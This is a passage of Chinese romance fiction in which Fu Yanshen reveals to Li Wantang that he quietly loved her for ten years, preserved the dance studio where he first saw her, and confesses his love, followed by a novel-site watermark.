那日斜阳穿过窗户洒入,地板上被切成菱形光斑,女孩抬腿压在把杆上,像一只白灵鸟附在水面,沿着她鬓角划落的汗珠,在湖面上凝成一粒颤动的光。 也就是那一眼,女孩被光线描摹的侧脸轮廓,深深地刻入他脑中,扎进他心底。 之后他没事就会过来,悄悄透过窗户,安静地看着女孩在这里努力挥洒着汗水。 得知当初这里要被拆掉,他连夜找到父亲求情,好在这里被完好无损地保留了下来。 最后以黎智海的名义,买下这块地皮。 他当时做这一切,只是不想这里被人毁掉,毕竟这里是他见证黎晚棠成长的地方,也是他青春发芽的地方。 所以他清楚这里一草一木,清楚钥匙所放的位置。 听傅砚深说完这些,黎晚棠眼泪早已决堤而下。 在她毫不知情的时光里,有人默默把她藏在心里十年。 而这期间,她一点也没发现。 见女孩今晚一直在哭,傅砚深抬手轻轻擦拭她的眼角,笑着把人抱进怀里:“黎晚棠,其实有句话,我很早就跟你想说了。” 黎晚棠轻吸着鼻尖,直到他那句话清晰入耳。 “我爱你,很爱,很爱。” 遇见她,即是幸福的开始。 在未来的日子里,朝暮与年岁并往,他们的爱意将永不停歇。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m